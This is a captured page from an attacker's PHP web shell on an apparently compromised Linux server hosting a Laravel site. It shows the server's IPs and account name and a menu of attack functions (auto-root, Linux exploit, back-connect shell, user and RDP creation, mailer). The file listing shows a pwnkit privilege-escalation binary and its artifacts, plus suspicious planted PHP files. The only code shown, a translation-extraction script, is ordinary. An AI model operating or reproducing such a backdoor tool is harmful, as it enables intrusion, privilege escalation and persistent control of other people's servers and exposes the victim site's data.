Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.16
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo18.com /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxrwxr-x
bootstrap
[ DIR ]
drwxrwxr-x
config
[ DIR ]
drwxrwxr-x
database
[ DIR ]
drwxrwxr-x
fbvuntc
[ DIR ]
drwxr-xr-x
hxfbgsa
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
main-file
[ DIR ]
drwxrwxr-x
node_modules
[ DIR ]
drwxrwxr-x
ocdphvj
[ DIR ]
drwxr-xr-x
packages
[ DIR ]
drwxrwxr-x
public
[ DIR ]
drwxrwxrwx
resources
[ DIR ]
drwxrwxr-x
routes
[ DIR ]
drwxrwxr-x
storage
[ DIR ]
drwxrwxrwx
stubs
[ DIR ]
drwxrwxr-x
tests
[ DIR ]
drwxrwxr-x
u1qowlk
[ DIR ]
drwxr-xr-x
uvyb1tk
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxrwxr-x
wfpjzv1
[ DIR ]
drwxr-xr-x
yidwnsz
[ DIR ]
drwxr-xr-x
ylazesv
[ DIR ]
drwxr-xr-x
.editorconfig
258
B
-rw-rw-r--
.env
624
B
-rwxrwxrwx
.env.example
1.05
KB
-rw-rw-r--
.gitattributes
186
B
-rw-rw-r--
.gitignore
315
B
-rw-rw-r--
.htaccess
479
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
LICENSE
1.05
KB
-rw-rw-r--
artisan
350
B
-rwxrwxr-x
components.json
348
B
-rw-rw-r--
composer.json
3
KB
-rwxrwxr-x
composer.lock
492.42
KB
-rw-rw-r--
error_log
21.75
KB
-rw-r--r--
etigewrm.php
167.15
KB
-rw-r--r--
extract-translations.php
5.01
KB
-rw-rw-r--
goat1.php
143.87
KB
-rw-r--r--
index.php
1.18
KB
-rw-r--r--
license-iuzn.php
629
B
-rw-r--r--
package-lock.json
349.45
KB
-rw-rw-r--
package.json
3.36
KB
-rw-rw-r--
phpunit.xml
1.16
KB
-rw-rw-r--
postcss.config.js
93
B
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
robots.txt
90
B
-rw-r--r--
tailwind.config.js
2.39
KB
-rw-rw-r--
tsconfig.json
592
B
-rw-rw-r--
vite.config.js
1.5
KB
-rw-rw-r--
wp-blog-header.php
0
B
-rw-r--r--
wp-load.php
0
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : extract-translations.php
<?php // Get command line arguments $packageName = $argv[1] ?? null; // Define the base directories to scan (excluding packages for now) $baseDirectories = [ __DIR__ . '/resources/js/pages', __DIR__ . '/resources/js/components', __DIR__ . '/resources/js/layouts', __DIR__ . '/resources/views', __DIR__ . '/app' ]; $outputFile = __DIR__ . '/resources/lang/en.json'; $packagesPath = __DIR__ . '/packages/workdo'; // Initialize arrays to store translations $translations = []; $packageTranslations = []; // Load existing translations if the file exists if (file_exists($outputFile)) { $existingContent = @file_get_contents($outputFile); if ($existingContent !== false) { $decoded = json_decode($existingContent, true); if (json_last_error() === JSON_ERROR_NONE) { $translations = $decoded; } } } // Function to recursively scan directories function scanDirectory($dir, &$translations, $packageName = null) { $realDir = realpath($dir); if (!$realDir || !is_dir($realDir)) { return; } $files = scandir($realDir); foreach ($files as $file) { if ($file === '.' || $file === '..') { continue; } $path = $realDir . '/' . $file; if (is_dir($path)) { scanDirectory($path, $translations, $packageName); } else { $extension = pathinfo($path, PATHINFO_EXTENSION); $isBladeTemplate = str_ends_with($path, '.blade.php'); if (in_array($extension, ['tsx', 'jsx', 'php']) || $isBladeTemplate) { extractTranslations($path, $translations); } } } } // Function to extract translations from a file function extractTranslations($file, &$translations) { $content = @file_get_contents($file); if ($content === false) { return; } // Match t("...") and t('...') patterns preg_match_all('/(?<![a-zA-Z0-9_])t\(["\']([^"\']*)["\'\)]/', $content, $tMatches); // Match __("...") and __('...') patterns preg_match_all('/__\(["\']([^"\']*)["\'\)]/', $content, $underscoreMatches); // Combine all matches and add to translations $allMatches = array_merge($tMatches[1], $underscoreMatches[1]); foreach ($allMatches as $match) { $translations[$match] = $match; } } // Function to process a specific package function processPackage($packageDir, $packageName) { $packageTranslations = []; // Load existing package translations $packageLangFile = $packageDir . '/src/Resources/lang/en.json'; if (file_exists($packageLangFile)) { $existingContent = @file_get_contents($packageLangFile); if ($existingContent !== false) { $decoded = json_decode($existingContent, true); if (json_last_error() === JSON_ERROR_NONE) { $packageTranslations = $decoded; } } } scanDirectory($packageDir, $packageTranslations, $packageName); // Sort and save package translations ksort($packageTranslations); $packageLangDir = dirname($packageLangFile); if (!is_dir($packageLangDir)) { mkdir($packageLangDir, 0755, true); } file_put_contents($packageLangFile, json_encode($packageTranslations, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); echo "Package '$packageName': Found " . count($packageTranslations) . " strings.\n"; return $packageTranslations; } // Handle package extraction based on arguments if ($packageName) { // Extract specific package only $specificPackageDir = $packagesPath . '/' . $packageName; if (is_dir($specificPackageDir)) { echo "Extracting translations for package: $packageName\n"; processPackage($specificPackageDir, $packageName); } else { echo "Error: Package '$packageName' not found in $packagesPath\n"; exit(1); } } else { // Extract main translations + all packages foreach ($baseDirectories as $directory) { scanDirectory($directory, $translations); } echo "Extracting translations for all packages...\n"; $packageDirs = glob($packagesPath . '/*', GLOB_ONLYDIR); foreach ($packageDirs as $packageDir) { $currentPackageName = basename($packageDir); processPackage($packageDir, $currentPackageName); } // Sort main translations alphabetically ksort($translations); // Create directory if it doesn't exist $outputDir = dirname($outputFile); if (!is_dir($outputDir)) { mkdir($outputDir, 0755, true); } // Write main translations file file_put_contents($outputFile, json_encode($translations, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE)); echo "Main translation extraction complete. Found " . count($translations) . " strings.\n"; } echo "\nUsage: php extract-translations.php [package_name]\n"; echo " - No arguments: Extract all packages + main translations\n"; echo " - package_name: Extract specific package only\n"; echo " Example: php extract-translations.php Test\n";
Close